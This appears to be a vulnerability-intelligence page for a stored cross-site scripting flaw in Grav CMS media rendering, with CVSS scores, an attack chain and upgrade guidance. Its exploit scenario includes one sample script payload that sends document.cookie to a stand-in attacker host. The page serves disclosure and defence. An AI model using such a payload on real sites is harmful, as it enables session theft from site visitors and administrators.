Skip to main content

Grav CMS EUVDEUVD-2026-60595

| CVE-2026-75831 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-18 VulnCheck GHSA-q8cg-5m48-5c25
XSS Grav
5.1
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.4 MEDIUM

Network delivery, low complexity; low privileges (editor account required); victim must view page (UI:R); scope changes to victim browser with limited confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

2
Source Code Evidence Fetched
Aug 18, 2026 - 12:03 vuln.today
Analysis Generated
Aug 18, 2026 - 12:03 vuln.today

DescriptionCVE.org

Grav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.

AnalysisAI

Stored cross-site scripting in Grav CMS before 2.0.15 allows a low-privileged content contributor to inject arbitrary HTML and JavaScript into pages containing audio or video media elements, executing in the browser sessions of any viewer. The flaw originates in the sourceParsedownElement method, where media URL fragments are concatenated without escaping into rawHtml output. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Obtain low-privilege editor account
Delivery
Craft media element with malicious URL fragment
Exploit
Save page with injected payload
Install
Victim views the page
C2
Unsanitised fragment rendered into rawHtml
Execute
Injected script executes in victim's browser session
Impact
Session token or credentials exfiltrated
Sign in to reveal

Vulnerability AssessmentAI

Exploitation The attacker must hold a low-privileged account with permission to create or edit pages containing media (audio or video) in Grav CMS - anonymous unauthenticated access is insufficient. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 5.1 (Medium) accurately reflects the constrained exploitation path: PR:L requires the attacker to hold a content-editor account, and UI:P requires a victim to passively view the malicious page - two sequential prerequisites that substantially reduce real-world risk compared to a fully unauthenticated stored XSS. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a low-privileged editor account on a Grav site crafts a Markdown page embedding an audio or video element whose URL contains a malicious JavaScript payload in the fragment (e.g., a media URL ending in #<script>document.location='https://attacker.example/steal?c='+document.cookie</script>). When an administrator or authenticated visitor navigates to the page, the unsanitised fragment is rendered into the HTML by sourceParsedownElement, causing the injected script to execute in the victim's browser and exfiltrate their session cookie. …
Remediation Upgrade Grav CMS to version 2.0.15 or later, which applies input coercion and style-value validation across the affected media rendering paths (vendor advisory: https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97; patch commit: https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20). … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Grav

View all
CVE-2025-66294 HIGH POC
8.8 Dec 01

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, a Server-Side Template Injection (SSTI) vulnerability exists

CVE-2025-66301 CRITICAL POC
9.6 Dec 01

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, due to improper authorization checks when modifying critical

CVE-2025-50286 HIGH POC
8.1 Aug 06

A Remote Code Execution (RCE) vulnerability in Grav CMS v1.7.48 allows an authenticated admin to upload a malicious plug
CVE-2024-34082 CRITICAL POC
9.9 May 15

Grav is a file-based Web platform. Rated critical severity (CVSS 9.9), this vulnerability is remotely exploitable, low a
CVE-2021-47812 CRITICAL POC
9.8 Jan 16

GravCMS 1.10.7 allows unauthenticated remote attackers to write arbitrary YAML configuration files, leading to full serv
CVE-2025-66297 HIGH POC
8.8 Dec 01

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, a user with admin panel access and permissions to create or e
CVE-2025-66299 HIGH POC
8.8 Dec 01

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (S
CVE-2024-28119 HIGH POC
8.8 Mar 21

Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
CVE-2024-28118 HIGH POC
8.8 Mar 21

Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
CVE-2024-28117 HIGH POC
8.8 Mar 21

Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
CVE-2024-28116 HIGH POC
8.8 Mar 21

Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
CVE-2024-27921 HIGH POC
8.8 Mar 21

Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot

Same weakness CWE-79 – Cross-site Scripting (XSS)

View all
CVE-2020-3580 MEDIUM POC
6.1
CVE-2013-7389 MEDIUM POC
4.3
CVE-2021-25299 MEDIUM POC
6.1
CVE-2014-2120 MEDIUM
6.1
CVE-2023-40000 HIGH POC
8.3
CVE-2016-8581 MEDIUM POC
6.1
CVE-2013-5223 MEDIUM POC
5.4
CVE-2025-52367 MEDIUM POC
5.4

Same technique XSS

View all
CVE-2017-9248 CRITICAL POC
9.8
CVE-2020-3580 MEDIUM POC
6.1
CVE-2013-1710 CRITICAL POC
10.0
CVE-2013-7389 MEDIUM POC
4.3
CVE-2021-25299 MEDIUM POC
6.1
CVE-2014-2120 MEDIUM
6.1
CVE-2023-40000 HIGH POC
8.3
CVE-2024-52875 HIGH POC
8.8

Share

EUVD-2026-60595 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy